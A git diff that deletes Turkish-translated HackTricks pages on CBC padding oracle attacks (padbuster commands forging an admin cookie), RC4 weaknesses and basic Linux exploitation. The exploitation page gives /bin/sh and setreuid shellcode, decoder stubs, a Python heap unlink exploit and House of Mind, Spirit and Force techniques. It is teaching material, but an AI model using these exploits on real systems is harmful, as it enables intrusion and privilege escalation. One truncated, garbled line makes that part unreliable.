- -# CBC - Şifre Blok Zincirleme - -CBC modunda **önceki şifreli blok IV olarak kullanılır** ve bir sonraki blokla XOR yapılır: - -![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) - -CBC'yi deşifre etmek için **ters** **işlemler** yapılır: - -![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) - -Bir **şifreleme** **anahtarı** ve bir **IV** kullanmanın gerekli olduğunu unutmayın. - -# Mesaj Doldurma - -Şifreleme **sabit** **boyut** **blokları** içinde gerçekleştirildiğinden, **son** **blokta** uzunluğunu tamamlamak için genellikle **doldurma** gereklidir.\ -Genellikle **PKCS7** kullanılır, bu da bloğu tamamlamak için **gerekli** **bayt** **sayısını** **tekrarlayarak** bir doldurma oluşturur. Örneğin, son blokta 3 bayt eksikse, doldurma `\x03\x03\x03` olacaktır. - -**8 bayt uzunluğunda 2 blok** ile daha fazla örneğe bakalım: - -| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | -| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** | -| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | -| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | - -Son örnekte **son bloğun dolu olduğunu ve sadece doldurma ile başka bir bloğun oluşturulduğunu** unutmayın. - -# Doldurma Oracle'ı - -Bir uygulama şifreli verileri deşifre ettiğinde, önce verileri deşifre eder; ardından doldurmayı kaldırır. Doldurmanın temizlenmesi sırasında, eğer **geçersiz bir doldurma tespit edilebilir bir davranış tetiklerse**, bir **doldurma oracle zafiyeti** vardır. Tespit edilebilir davranış bir **hata**, **sonuç eksikliği** veya **daha yavaş bir yanıt** olabilir. - -Bu davranışı tespit ederseniz, **şifreli verileri deşifre edebilir** ve hatta **herhangi bir açık metni şifreleyebilirsiniz**. - -## Nasıl istismar edilir - -Bu tür bir zafiyeti istismar etmek için [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) kullanabilir veya sadece yapabilirsiniz. -``` -sudo apt-get install padbuster -``` -Bir sitenin çerezinin savunmasız olup olmadığını test etmek için şunları deneyebilirsiniz: -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -``` -**Encoding 0** demek **base64** kullanıldığı anlamına gelir (ancak diğerleri de mevcuttur, yardım menüsüne bakın). - -Bu zafiyeti **yeni verileri şifrelemek için kötüye kullanabilirsiniz. Örneğin, çerezin içeriği "**_**user=MyUsername**_**" ise, bunu "\_user=administrator\_" olarak değiştirebilir ve uygulama içinde yetkileri artırabilirsiniz. Bunu `paduster` kullanarak -plaintext** parametresini belirterek de yapabilirsiniz: -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" -``` -Eğer site savunmasızsa `padbuster` otomatik olarak padding hatasının ne zaman meydana geldiğini bulmaya çalışacaktır, ancak hata mesajını **-error** parametresi ile de belirtebilirsiniz. -```bash -perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" -``` -## Teori - -**Özetle**, tüm **farklı padding'leri** oluşturmak için kullanılabilecek doğru değerleri tahmin ederek şifrelenmiş verileri çözmeye başlayabilirsiniz. Ardından, padding oracle saldırısı, 1, 2, 3, vb. **padding'leri oluşturan** doğru değeri tahmin ederek son byte'dan başlayarak byte'ları çözmeye başlayacaktır. - -![](<../images/image (629) (1) (1).png>) - -Şifrelenmiş ve **E0'dan E15'e** kadar olan byte'ları içeren **2 blok**'a sahip olduğunuzu hayal edin.\ -**Son** **blok**'u (**E8**'den **E15**'e) **çözmek** için, tüm blok "blok şifre çözme" işleminden geçerek **I0'dan I15'e** kadar olan **ara byte'ları** oluşturur.\ -Son olarak, her ara byte, önceki şifrelenmiş byte'larla (E0'dan E7'ye) **XOR'lanır**. Yani: - -- `C15 = D(E15) ^ E7 = I15 ^ E7` -- `C14 = I14 ^ E6` -- `C13 = I13 ^ E5` -- `C12 = I12 ^ E4` -- ... - -Artık **`E7`'yi `C15`'in `0x01`** olana kadar **değiştirmek** mümkündür, bu da doğru bir padding olacaktır. Bu durumda: `\x01 = I15 ^ E'7` - -E'7'yi bulduğunuzda, **I15**'i hesaplamak mümkündür: `I15 = 0x01 ^ E'7` - -Bu da **C15**'i hesaplamamıza olanak tanır: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` - -**C15**'i bildiğinizde, şimdi **C14**'ü hesaplamak mümkündür, ancak bu sefer padding'i `\x02\x02` ile brute-force yaparak. - -Bu BF, `E''15` değerinin 0x02 olduğu hesaplanabildiği için önceki kadar karmaşıktır: `E''7 = \x02 ^ I15`, bu nedenle sadece **`E'14`**'ü bulmak gerekir ki bu da **`C14`'ün `0x02`** eşit olmasını sağlar.\ -Ardından, C14'ü çözmek için aynı adımları izleyin: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** - -**Tüm şifrelenmiş metni çözene kadar bu zinciri takip edin.** - -## Açığın Tespiti - -Bir hesap kaydedin ve bu hesapla giriş yapın.\ -Eğer **birçok kez giriş yaparsanız** ve her seferinde **aynı çerezi** alıyorsanız, uygulamada muhtemelen **bir sorun** vardır. **Geri gönderilen çerez her seferinde benzersiz olmalıdır.** Eğer çerez **her zaman** **aynı** ise, muhtemelen her zaman geçerli olacaktır ve onu **geçersiz kılmanın** bir yolu olmayacaktır. - -Artık **çerezi** **değiştirmeyi** denediğinizde, uygulamadan bir **hata** aldığınızı görebilirsiniz.\ -Ancak padding'i BF yaparsanız (örneğin padbuster kullanarak) farklı bir kullanıcı için geçerli başka bir çerez elde etmeyi başarırsınız. Bu senaryo, padbuster'a karşı yüksek ihtimalle savunmasızdır. - -## Referanslar - -- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) - -
- -{{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md deleted file mode 100644 index fdf5f4be5..000000000 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ /dev/null @@ -1,15 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -Eğer bir şekilde bir düz metni RC4 kullanarak şifreleyebilirseniz, o RC4 ile şifrelenmiş herhangi bir içeriği (aynı şifreyi kullanarak) sadece şifreleme fonksiyonunu kullanarak çözebilirsiniz. - -Eğer bilinen bir düz metni şifreleyebiliyorsanız, şifreyi de çıkarabilirsiniz. Daha fazla referans HTB Kryptos makinesinde bulunabilir: - -{{#ref}} -https://0xrick.github.io/hack-the-box/kryptos/ -{{#endref}} - -{{#ref}} -https://0xrick.github.io/hack-the-box/kryptos/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/emails-vulns.md b/src/emails-vulns.md deleted file mode 100644 index 6abba4e82..000000000 --- a/src/emails-vulns.md +++ /dev/null @@ -1,9 +0,0 @@ -# E-posta Güvenlik Açıkları - -{{#include ./banners/hacktricks-training.md}} - -## - -## - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md deleted file mode 100644 index 7f3445f9d..000000000 --- a/src/exploiting/linux-exploiting-basic-esp/README.md +++ /dev/null @@ -1,538 +0,0 @@ -# Linux Exploiting (Basic) (SPA) - -{{#include ../../banners/hacktricks-training.md}} - -## **2.SHELLCODE** - -Kernelle kesintileri göster: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_” - -setreuid(0,0); // \_\_NR_setreuid 70\ -execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\ -exit(0); // \_\_NR_exit 1 - -xor eax, eax ; eax'i temizle\ -xor ebx, ebx ; ebx = 0 çünkü geçilecek argüman yok\ -mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\ -int 0x80 ; Syscall'ı çalıştır - -**nasm -f elf assembly.asm** —> Bize bir .o döner\ -**ld assembly.o -o shellcodeout** —> Bize, assembly kodundan oluşan bir çalıştırılabilir dosya verir ve **objdump** ile opcode'ları alabiliriz\ -**objdump -d -Mintel ./shellcodeout** —> Gerçekten shellcode'umuz olduğunu görmek ve OpCodes almak için - -**Shellcode'un çalıştığını kontrol et** -``` -char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” - -void main(){ -void (*fp) (void); -fp = (void *)shellcode; -fp(); -} -``` -Sistem çağrılarının doğru bir şekilde yapıldığını görmek için yukarıdaki program derlenmeli ve sistem çağrıları **strace ./PROGRAMA_COMPILADO**'da görünmelidir. - -Shellcode oluştururken bir hile yapılabilir. İlk talimat bir çağrıya atlamadır. Çağrı, orijinal kodu çağırır ve ayrıca yığına EIP'yi ekler. Call talimatından sonra ihtiyaç duyduğumuz dizeyi ekledik, bu nedenle bu EIP ile dizeyi işaret edebiliriz ve ayrıca kodu çalıştırmaya devam edebiliriz. - -EJ **TRUCO (/bin/sh)**: -``` -jmp 0x1f ; Salto al último call -popl %esi ; Guardamos en ese la dirección al string -movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh) -xorl %eax, %eax ; eax = NULL -movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh -movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh -movl $0xb, %eax ; Syscall 11 -movl %esi, %ebx ; arg1=“/bin/sh” -leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”} -leal 0xc(%esi), %edx ; arg3 = NULL -int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL) -xorl %ebx, %ebx ; ebx = NULL -movl %ebx, %eax -inc %eax ; Syscall 1 -int $0x80 ; exit(0) -call -0x24 ; Salto a la primera instrución -.string \”/bin/sh\” ; String a usar -``` -**EJ stack kullanarak (/bin/sh):** -``` -section .text -global _start -_start: -xor eax, eax ;Limpieza -mov al, 0x46 ; Syscall 70 -xor ebx, ebx ; arg1 = 0 -xor ecx, ecx ; arg2 = 0 -int 0x80 ; setreuid(0,0) -xor eax, eax ; eax = 0 -push eax ; “\0” -push dword 0x68732f2f ; “//sh” -push dword 0x6e69622f; “/bin” -mov ebx, esp ; arg1 = “/bin//sh\0” -push eax ; Null -> args[1] -push ebx ; “/bin/sh\0” -> args[0] -mov ecx, esp ; arg2 = args[] -mov al, 0x0b ; Syscall 11 -int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL) -``` -**EJ FNSTENV:** -``` -fabs -fnstenv [esp-0x0c] -pop eax ; Guarda el EIP en el que se ejecutó fabs -… -``` -**Egg Huter:** - -Bir sürecin bellek sayfalarını tarayan ve orada saklanan shellcode'u arayan küçük bir kod parçasından oluşur (shellcode'da yerleştirilmiş bir imza arar). Kod enjekte etmek için yalnızca küçük bir alanın bulunduğu durumlarda kullanışlıdır. - -**Shellcodes polimórficos** - -Şifrelenmiş shell'lerden oluşur ve bunları çözen ve ona atlayan küçük kodlar içerir, Call-Pop hilesini kullanarak bu bir **cesar şifreleme örneği** olur: -``` -global _start -_start: -jmp short magic -init: -pop esi -xor ecx, ecx -mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá) -desc: -sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar) -sub cl, 1 -jnz desc -jmp short sc -magic: -call init -sc: -;Aquí va el shellcode -``` -## **5.Tamamlayıcı Yöntemler** - -**Murat Tekniği** - -Linux'ta tüm programlar 0xbfffffff adresinden başlayarak haritalanır. - -Linux'ta yeni bir sürecin yığın yapısının nasıl oluşturulduğunu görmek, bir exploit geliştirmeyi sağlar; böylece program, yalnızca shellcode'un bulunduğu bir ortamda başlatılabilir. Bu durumda, adres şu şekilde hesaplanabilir: addr = 0xbfffffff - 4 - strlen(TAM_ADI) - strlen(shellcode) - -Bu şekilde, shellcode ile çevre değişkeninin bulunduğu adres kolayca elde edilebilir. - -Bu, execle fonksiyonunun yalnızca istenen çevre değişkenlerini içeren bir ortam oluşturmasına olanak tanıdığı için mümkündür. - -## - -### - -### - -### - -### - -### **Format Strings to Buffer Overflows** - -**sprintf**, biçimlendirilmiş bir dizeyi bir **değişkene** **taşır.** Bu nedenle, bir dize biçimlendirmesini kötüye kullanarak, içeriğin kopyalandığı **değişkende bir tampon taşması** oluşturabilirsiniz.\ -Örneğin, `%.44xAAAA` yükü **44B+"AAAA"yı değişkene yazacaktır**, bu da bir tampon taşmasına neden olabilir. - -### **\_\_atexit Yapıları** - -> [!CAUTION] -> Günümüzde bunu istismar etmek çok **garip**. - -**`atexit()`**, **diğer fonksiyonların parametre olarak geçirildiği** bir fonksiyondur. Bu **fonksiyonlar**, **`exit()`** veya **main**'in **dönüşü** sırasında **çalıştırılacaktır**.\ -Eğer bu **fonksiyonlardan** herhangi birinin **adresini** shellcode'a işaret edecek şekilde **değiştirebilirseniz**, **sürecin kontrolünü** ele geçireceksiniz, ancak bu şu anda daha karmaşık.\ -Şu anda, çalıştırılacak **fonksiyonların adresleri** birkaç yapı arkasında **gizlidir** ve nihayetinde işaret ettikleri adresler, fonksiyonların adresleri değil, **XOR ile şifrelenmiş** ve **rastgele bir anahtar** ile kaydırılmıştır. Bu nedenle, şu anda bu saldırı vektörü **en azından x86** ve **x64_86** üzerinde **çok kullanışlı değildir**.\ -**Şifreleme fonksiyonu** **`PTR_MANGLE`**'dir. **m68k, mips32, mips64, aarch64, arm, hppa** gibi **diğer mimariler** şifreleme fonksiyonunu **uygulamaz** çünkü bu fonksiyon **girdi olarak aldığı ile aynı** değeri döndürür. Bu nedenle, bu mimariler bu vektörle saldırıya uğrayabilir. - -### **setjmp() & longjmp()** - -> [!CAUTION] -> Günümüzde bunu istismar etmek çok **garip**. - -**`setjmp()`**, **bağlamı** (kayıtları) **kaydetmeye** olanak tanır.\ -**`longjmp()`**, **bağlamı** **geri yüklemeye** olanak tanır.\ -**Kaydedilen kayıtlar**: `EBX, ESI, EDI, ESP, EIP, EBP`\ -Olan şey, EIP ve ESP'nin **`PTR_MANGLE`** fonksiyonu tarafından geçildiğidir, bu nedenle **bu saldırıya karşı savunmasız mimariler yukarıdakilerle aynıdır**.\ -Hata kurtarma veya kesintiler için kullanışlıdır.\ -Ancak, okuduğum kadarıyla, diğer kayıtlar korunmamıştır, **bu nedenle eğer çağrılan fonksiyon içinde `call ebx`, `call esi` veya `call edi` varsa**, kontrol ele geçirilebilir. Ya da EBP'yi değiştirerek ESP'yi de değiştirebilirsiniz. - -**C++'da VTable ve VPTR** - -Her sınıfın bir **Vtable**'ı vardır; bu, **metotlara işaret eden** bir dizidir. - -Her **sınıf** nesnesinin bir **VPtr**'ı vardır; bu, sınıfının dizisine işaret eden bir **işaretçidir**. VPtr, her nesnenin başlığının bir parçasıdır, bu nedenle bir **VPtr**'ın **aşırı yazılması** sağlanırsa, bir sahte metoda **işaret edecek şekilde** **değiştirilebilir**, böylece bir fonksiyon çalıştırıldığında shellcode'a yönlendirilir. - -## **Önleyici Tedbirler ve Kaçışlar** - -### - -**Libsafe Değiştirme** - -Şu şekilde etkinleştirilir: LD_PRELOAD=/lib/libsafe.so.2\ -veya\ -“/lib/libsave.so.2” > /etc/ld.so.preload - -Güvensiz bazı fonksiyon çağrıları, güvenli olanlarla değiştirilir. Standart değildir. (sadece x86 için, -fomit-frame-pointer ile derlenmiş sürümler için değil, statik derlemeler için değil, tüm savunmasız fonksiyonlar güvenli hale gelmez ve LD_PRELOAD, suid ile olan ikili dosyalarda işe yaramaz). - -**ASCII Donanımlı Adres Alanı** - -0x00000000 ile 0x00ffffff arasında paylaşılan kütüphaneleri yüklemeyi içerir, böylece her zaman bir 0x00 baytı bulunur. Ancak, bu gerçekten neredeyse hiçbir saldırıyı durdurmaz, özellikle little endian'da. - -**ret2plt** - -strcpy@plt (plt'den) fonksiyonunu çağıracak şekilde bir ROP gerçekleştirmeyi ve GOT'taki girişe işaret etmeyi içerir ve çağrılmak istenen fonksiyonun ilk baytını (system()) kopyalar. Ardından, GOT+1'e işaret ederek system()'in 2. baytını kopyalar... Sonunda, system() olacak şekilde GOT'ta saklanan adres çağrılır. - -**chroot() ile Kafesler** - -debootstrap -arch=i386 hardy /home/user —> Belirli bir alt dizin altında temel bir sistem kurar. - -Bir yönetici, bu kafeslerden birinden çıkmak için: mkdir foo; chroot foo; cd .. komutunu kullanabilir. - -**Kod Enstrümantasyonu** - -Valgrind —> Hataları arar\ -Memcheck\ -RAD (Return Address Defender)\ -Insure++ - -## **8 Yığın Taşmaları: Temel Exploitler** - -**Atanan Parça** - -prev_size |\ -size | —Başlık\ -\*mem | Veriler - -**Boş Parça** - -prev_size |\ -size |\ -\*fd | İleri parça işaretçisi\ -\*bk | Geri parça işaretçisi —Başlık\ -\*mem | Veriler - -Boş parçalar çift bağlı bir listede (bin) bulunur ve asla yan yana iki boş parça olamaz (birleşirler). - -“size” içinde, önceki parçanın kullanılıp kullanılmadığını, parçanın mmap() ile atanıp atanmadığını ve parçanın birincil arenaya ait olup olmadığını belirten bitler vardır. - -Eğer bir parçayı serbest bırakırken, komşulardan biri boşsa, bunlar unlink() makrosu aracılığıyla birleştirilir ve yeni daha büyük parça frontlink()'e geçirilir, böylece uygun bin'e eklenir. - -unlink(){\ -BK = P->bk; —> Yeni parçanın BK'si, daha önce boş olan parçanın BK'sidir.\ -FD = P->fd; —> Yeni parçanın FD'si, daha önce boş olan parçanın FD'sidir.\ -FD->bk = BK; —> Sonraki parçanın BK'si yeni parçaya işaret eder.\ -BK->fd = FD; —> Önceki parçanın FD'si yeni parçaya işaret eder.\ -} - -Bu nedenle, eğer P->bk'yi bir shellcode adresi ile ve P->fd'yi GOT veya DTORS'taki bir girişin adresi ile 12 azaltarak değiştirebilirsek: - -BK = P->bk = \&shellcode\ -FD = P->fd = &\_\_dtor_end\_\_ - 12\ -FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode - -Ve böylece programdan çıkarken shellcode çalıştırılır. - -Ayrıca, unlink()'in 4. ifadesi bir şey yazar ve shellcode bunun için onarılmalıdır: - -BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Bu, shellcode'un 8. baytından itibaren 4 bayt yazılmasına neden olur, bu nedenle shellcode'un ilk talimatı, bunu atlamak ve geri kalan shellcode'a yönlendiren bir jmp olmalıdır. - -Bu nedenle exploit şu şekilde oluşturulur: - -buffer1'e shellcode'u, nops veya geri kalan shellcode'a düşecek bir jmp ile başlarız. - -Shellcode'dan sonra, bir önceki parçanın prev_size ve size alanına kadar dolgu ekleriz. Bu alanlara 0xfffffff0 (önceki parçanın boş olduğunu belirten bitin ayarlanması için) ve “-4“(0xfffffffc) ekleriz (3. parçanın 2. parçanın gerçekten boş olup olmadığını kontrol ettiğinde, değiştirilmiş prev_size'a gidecek ve boş olduğunu söyleyecektir) -> Böylece free() araştırdığında 3. parçanın boyutuna gidecek, ancak aslında 2. parçaya -4 gidecek ve 2. parçanın boş olduğunu düşünecektir. Ve ardından **unlink()** çağrılacaktır. - -unlink() çağrıldığında, P->fd olarak 2. parçanın ilk verilerini kullanacak, bu nedenle oraya yazmak istediğiniz adresi -12 (çünkü FD->bk, saklanan adrese 12 ekleyecektir) yerleştirecektir. Ve o adrese, 2. parçadaki ikinci adresi yerleştirecektir, bu adresin shellcode'a (yanlış P->bk) işaret etmesini istiyoruz. - -**from struct import \*** - -**import os** - -**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bayt dolgu** - -**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\** - -**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\** - -**"\x80\xe8\xdc\xff\xff\xff/bin/sh";** - -**prev_size = pack("\ Parçanın başladığı adrese işaret eden bir işaretçi döndürür (mem-8) - -… - -ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1] - -… - -\_int_free(ar_ptr, mem); - -} - -\[1\] içinde, size alanını kontrol eder, NON_MAIN_ARENA bitini, bu bitin true döndürülmesi için değiştirilebilir ve heap_for_ptr()'u çalıştırır; bu, “mem” üzerinde bir and işlemi yaparak en az önemli 2.5 baytı 0 yapar (bu durumda 0x0804a000'dan 0x08000000'a düşer) ve 0x08000000->ar_ptr'a erişir (sanki bir heap_info yapısıymış gibi). - -Bu şekilde, örneğin 0x0804a000'da bir parçayı kontrol edebilirsek ve **0x081002a0** adresinde bir parça serbest bırakılacaksa, 0x08100000 adresine ulaşabilir ve istediğimiz şeyi yazabiliriz, örneğin **0x0804a000**. Bu ikinci parça serbest bırakıldığında, heap_for_ptr(ptr)->ar_ptr'ın 0x08100000'da yazdığımızı döndüreceğini buluruz (çünkü önceki and işlemi 0x081002a0'a uygulanır ve buradan ilk 4 baytın değeri, ar_ptr alınır). - -Bu şekilde, \_int_free(ar_ptr, mem) çağrılır, yani **\_int_free(0x0804a000, 0x081002a0)**\ -**\_int_free(mstate av, Void_t\* mem){**\ -…\ -bck = unsorted_chunks(av);\ -fwd = bck->fd;\ -p->bk = bck;\ -p->fd = fwd;\ -bck->fd = p;\ -fwd->bk = p; - -..} - -Daha önce gördüğümüz gibi, av değerini kontrol edebiliriz, çünkü serbest bırakılacak parçada yazdığımız şeydir. - -Unsorted_chunks tanımına göre, şunu biliyoruz:\ -bck = \&av->bins\[2]-8;\ -fwd = bck->fd = \*(av->bins\[2]);\ -fwd->bk = \*(av->bins\[2] + 12) = p; - -Bu nedenle, av->bins\[2]'ye \_\_DTOR_END\_\_-12 değerini yazarsak, son talimat \_\_DTOR_END\_\_ adresine ikinci parçanın adresini yazacaktır. - -Yani, ilk parçanın başına birçok kez \_\_DTOR_END\_\_-12 adresini koymalıyız, çünkü av->bins\[2] oradan alacaktır. - -İkinci parçanın adresine, son 5 sıfırla birlikte, bu ilk parçanın adresini yazmalıyız, böylece heap_for_ptr() ar_ptr'ın ilk parçanın başında olduğunu düşünür ve oradan av->bins\[2]'yi alır. - -İkinci parçada ve birincisinden yararlanarak, prev_size'ı 0x0c ile ve size'ı NON_MAIN_ARENA'yı etkinleştirecek bir şeyle aşırı yazıyoruz. - -Ardından, 2. parçaya bir sürü nop koyuyoruz ve sonunda shellcode'u yerleştiriyoruz. - -Bu şekilde, \_int_free(TROZO1, TROZO2) çağrılacak ve talimatları izleyerek \_\_DTOR_END\_\_ adresine TROZO2'nin prev_size adresini yazacak, bu da shellcode'a atlayacaktır. - -Bu tekniği uygulamak için, payload'u biraz daha karmaşıklaştıran bazı ek gereksinimlerin karşılanması gerekir. - -Bu teknik artık uygulanamaz çünkü unlink için neredeyse aynı yamanın uygulandığı görüldü. Yeni işaret edilen yerin de kendisine işaret edip etmediği kontrol edilir. - -**Fastbin** - -The house of mind'ın bir varyantıdır. - -Aşağıdaki kodu çalıştırmak için, \_int_free() fonksiyonunun ilk kontrolünden geçmek önemlidir. - -fb = &(av->fastbins\[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2 - -… - -p->fd = \*fb - -\*fb = p - -Bu şekilde, “fb”'ye bir GOT fonksiyonunun adresi yerleştirilirse, bu adrese aşırı yazılmış parçanın adresi yerleştirilecektir. Bunun için arenanın dtors adreslerine yakın olması gerekecektir. Daha kesin olarak, av->max_fast'in aşırı yazacağımız adreste olması gerekmektedir. - -The House of Mind ile, av'nin konumunu kontrol edebildiğimizi gördük. - -Bu nedenle, size alanına 8 + NON_MAIN_ARENA + PREV_INUSE yazarsak —> fastbin_index() fastbins\[-1'i döndürecektir, bu da av->max_fast'e işaret edecektir. - -Bu durumda av->max_fast, aşırı yazılacak adres olacaktır (işaret ettiği adres değil, o konum aşırı yazılacaktır). - -Ayrıca, serbest bırakılan parçanın komşusunun 8'den büyük olması gerektiği de belirtilmelidir -> Daha önce serbest bırakılan parçanın boyutunun 8 olduğunu belirttiğimiz için, bu sahte parçanın yalnızca 8'den büyük bir boyuta sahip olması gerekir (ayrıca shellcode serbest bırakılan parçada olacağından, başta nops'a düşecek bir jmp koymamız gerekecektir). - -Ayrıca, bu sahte parça av->system_mem'den küçük olmalıdır. av->system_mem, 1848 bayt daha ileridedir. - -\_\_DTOR_END\_'in sıfırları ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri aşırı yazılmak için uygun değildir, bu nedenle yığın saldırısı için fastbin'i nasıl uygulayacağımıza bakalım. - -Başka bir saldırı yöntemi, **av**'yi yığına yönlendirmektir. - -Boyutu 8 yerine 16 olacak şekilde değiştirirsek, fastbin_index() fastbins\[0'ı döndürecektir ve bunu yığın üzerinde aşırı yazmak için kullanabiliriz. - -Bunun için yığında hiçbir canary veya garip değer olmamalıdır, aslında şunları bulmalıyız: 4 bayt sıfır + EBP + RET - -4 bayt sıfır, **av**'nin bu adreste olmasını sağlamak için gereklidir ve bir **av**'nin ilk öğesi, 0 olmalıdır. - -**av->max_fast**, EBP olacaktır ve bu, kısıtlamaları atlamamız için bir değer olacaktır. - -**av->fastbins\[0]**'da **p**'nin adresi ile aşırı yazılacak ve RET olacaktır, böylece shellcode'a atlayacaktır. - -Ayrıca, **av->system_mem** (yığın konumunun 1484 bayt yukarısında) yeterince çöp olacaktır, bu da kontrolü atlamamıza izin verecektir. - -Ayrıca, serbest bırakılan parçanın komşusunun 8'den büyük olması gerektiği de belirtilmelidir -> Daha önce serbest bırakılan parçanın boyutunun 16 olduğunu belirttiğimiz için, bu sahte parçanın yalnızca 8'den büyük bir boyuta sahip olması gerekir (ayrıca shellcode serbest bırakılan parçada olacağından, başta nops'a düşecek bir jmp koymamız gerekecektir). - -**The House of Spirit** - -Bu durumda, saldırgan tarafından değiştirilebilen bir malloc işaretçisine sahip olmayı hedefliyoruz (örneğin, işaretçi bir değişkenin altında yığında olabilir). - -Bu şekilde, bu işaretçiyi istediğimiz yere yönlendirebiliriz. Ancak, her yer geçerli değildir; sahte parçanın boyutu av->max_fast'ten küçük olmalı ve daha spesifik olarak, gelecekteki bir malloc() çağrısında istenen boyuta eşit olmalıdır. Bu nedenle, bu işaretçi savunmasız olduğunda malloc(40) çağrıldığında, sahte parçanın boyutu 48 olmalıdır. - -Örneğin, program kullanıcıdan bir sayı isterse, 48 girebiliriz ve değiştirilebilir malloc işaretçisini sonraki 4 bayta (şans eseri EBP'ye ait olabilecek) yönlendirebiliriz, böylece 48 geride kalır, sanki başlık boyutuymuş gibi. Ayrıca, ptr-4+48 adresinin birkaç koşulu karşılaması gerekir (bu durumda ptr=EBP), yani, 8 < ptr-4+48 < av->system_mem. - -Bu koşullar sağlanırsa, bir sonraki malloc çağrısı malloc(40) olduğunda, EBP adresine atanacaktır. Eğer saldırgan bu malloc'ta ne yazılacağını da kontrol edebilirse, hem EBP'yi hem de EIP'yi istediği adresle aşırı yazabilir. - -Bunun nedeni, free() çağrıldığında, yığın üzerindeki EBP adresine işaret eden bir parçanın, yeni malloc() için mükemmel boyutta bir parça olduğunu kaydetmesidir, bu nedenle o adrese atanır. - -**The House of Force** - -Gereksinimler: - -- Wilderness'a aşırı yazma yapacak bir taşma -- Kullanıcı tarafından tanımlanan boyutta bir malloc() çağrısı -- Kullanıcı tarafından tanımlanabilen verilerle bir malloc() çağrısı - -İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) aşırı yazıyoruz, böylece yeterince büyük herhangi bir bellek talebi, yığını genişletmeye gerek kalmadan \_int_malloc() içinde işlenir. - -İkincisi, av->top'un, saldırganın kontrolü altındaki bir bellek alanına işaret etmesini sağlamak, örneğin yığın. av->top'a \&EIP - 8 yazılacaktır. - -av->top'u, saldırganın kontrolü altındaki bellek alanına işaret edecek şekilde aşırı yazmalıyız: - -victim = av->top; - -remainder = chunck_at_offset(victim, nb); - -av->top = remainder; - -Victim, mevcut wilderness parçasının adresinin değerini alır (mevcut av->top) ve remainder, o adresin üzerine malloc() tarafından talep edilen bayt sayısını ekler. Yani, \&EIP-8 0xbffff224'te ve av->top 0x080c2788'de ise, kontrol edilen malloc'ta av->top'un $EIP-8'e işaret etmesi için ayırmamız gereken miktar: - -0xbffff224 - 0x080c2788 = 3086207644. - -Böylece av->top'a değiştirilmiş değer kaydedilecektir ve bir sonraki malloc, EIP'ye işaret edecek ve onu aşırı yazabilecektir. - -Yeni wilderness parçasının boyutunun, son malloc() talebinden daha büyük olduğunu bilmek önemlidir. Yani, wilderness \&EIP-8'e işaret ediyorsa, boyut tam olarak yığın üzerindeki EBP alanında kalacaktır. - -**The House of Lore** - -**SmallBin Bozulması** - -Serbest bırakılan parçalar, boyutlarına göre bin'e yerleştirilir. Ancak, yerleştirilmeden önce unsorted bins'de saklanır. Bir 